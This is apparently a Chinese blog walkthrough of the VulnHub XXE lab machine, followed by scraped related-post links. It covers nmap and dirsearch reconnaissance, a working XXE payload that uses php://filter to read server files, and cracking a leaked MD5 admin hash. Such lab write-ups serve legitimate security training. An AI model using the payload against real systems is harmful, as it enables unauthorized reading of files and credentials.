准备工作

在vulnhub官网下载xxe靶机

导入虚拟机

开始进行渗透测试

信息收集

首先打开kali,设置成NAT模式

查看本机ip地址

利用端口扫描工具nmap进行探测扫描

nmap -sS 192.168.200.6/24

(这里也可以先用nmap -sP 192.168.200.6/24 进行Ping扫描,然后再通过判断靶机的ip地址用nmap -sV 192.168.200.xxx进行端口的扫描)

  

扫描后可以看出只有192.168.200.9开放了80端口,大概率的可以判断192.168.200.9就是靶机的ip地址

用浏览器打开后是这样的界面

什么信息也没有,二话不说直接用扫描工具dirsearch开始扫描

python3 dirsearch.py -u http://192.168.200.9/

  

扫到一个robots.txt文件,访问得到:

注意到xxe,直接访问得到一个登陆界面

开始注入

抓个包看看

格式很明显是xml

尝试使用xml注入来访问xxe.php文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

解码得

没有什么有用得信息,尝试读取一下刚刚在robots.txt文件中看到得admin.php

解码得到了账号administhebest 和 md5加密的密码

在md5解密网站解到对应的密码为admin@123

在192.168.200.9/xxe/的登陆框中输入账号密码还是提示不存在

后面意识到刚刚我读取的是admin.php的源码

于是访问192.168.200.9/xxe/admin.php发现还有另一个登陆界面

在这里登陆刚刚得到的账号密码

登陆后得到一个flag的跳转连接,点开后什么都没有

再次尝试读取flagmeout.php文件,这里要注意的是,因为flagmeout.php文件是在根目录中,所以读取这个文件时需要访问xxe.php文件的上一级目录,加上一个./

读取文件后解码得到flag,但是还是加密的格式,看起来应该是base32加密

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

 base32解码后 

L2V0Yy8uZmxhZy5waHA=

 base64再次解码后得到

/etc/.flag.php

  

得到flag.php的目录后,直接再次读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

再经过base64解码得

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
 

一串乱码无从下手,在网上查阅了资料发现,我现在读取得文件是php文件,而$是php的代码部分,说明这串代码就是php代码,拉去运行一下

这里我在在线运行网站运行了php,得到以下结果拿到flag

  

vulnhub-XXE靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  3. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  4. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  5. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  6. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  7. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

随机推荐

  1. 使用 Docker 部署 Node 应用

    容器将应用与环境打包整合,解决了应用外部依赖的痛点,打包后通过窗口可方便地部署到任意环境,用过就知道很香. 创建示例应用 以 NestJS 为例,先创建一个示例应用. $ npm i -g @nest ...

  2. Spring Boot WebFlux-10——WebFlux 实战图书管理系统

    前言 本篇内容我们会实现如下图所示的城市管理系统,因为上面案例都用的是 City,所以这里直接使用城市作为对象,写一个简单的城市管理系统,如图所示: 结构 类似上面讲的工程搭建,新建一个工程编写此案例 ...

  3. VBS脚本编程(6)——对象的创建与调用

    对象:严格的说,对象是复杂数据和程序结构在内存中的表现,只有在程序运行时才存在.包含有方法和属性. 对象的创建及用法 1. Set 语句 将对象引用赋给一个变量或属性,或者将对象引用与事件关联. Se ...

  4. 基于 electron 实现简单易用的抓包、mock 工具

    背景 经常我们要去看一些页面所发出的请求时,经常会用到 Charles 做为抓包工具来进行接口抓取,但一方面市面是很多抓包工具都是收费或者无法二次开发的.当前我们团队大多数用的也都是 Charles, ...

  5. JS里的异步实例化

    JS里的异步构造函数 众所周知,Js的构造函数是不能加上async/await来实现异步实例化的,一般当需要一个对象的属性是异步的结果时可以这样写: //! 一个需要指定时间后返回的异步函数 func ...

  6. Ubuntu18.04 LTS x64 构建ARM交叉编译环境(尝试,但失败了!!!估计是编译器没选对)

    [测试而已,由于需要了解编译器和处理器体系,因此先放弃该方法] 动机 入门嵌入式开发,又需要 Windows 又需要 Linux,但资料给的竟然是 Ubuntu9,导致我不能使用 VSCode Rem ...

  7. 3、搭建 rsync备份服务器

    yum install rsync -y rsync(873):数据同步,把一台服务器上的数据以何种权限同步到另一台服务器上,是linux 系统下的数据镜像备份工具.使用快速增量备份工具Remote ...

  8. 35、mysql数据库(ddl)

    35.1.数据库之库操作: 1.创建数据库(在磁盘上创建一个对应的文件夹): create database [if not exists] db_name [character set xxx]; ...

  9. LCA总结

    作为一名合格的 OIer ,一定要有自我总结的意识,一定要通过写博客的方式来验证自己的掌握程度 ----沃.茨基硕德 目录 作为一名合格的 OIer ,一定要有自我总结的意识,一定要通过写博客的方式来 ...

  10. 各种电子书、pdf

    剑指offer第二版:  链接:https://pan.baidu.com/s/1ABn3p9wY_kiQUzDRefZUqA  提取码:d30v 网络是怎样连接的:  链接:https://pan. ...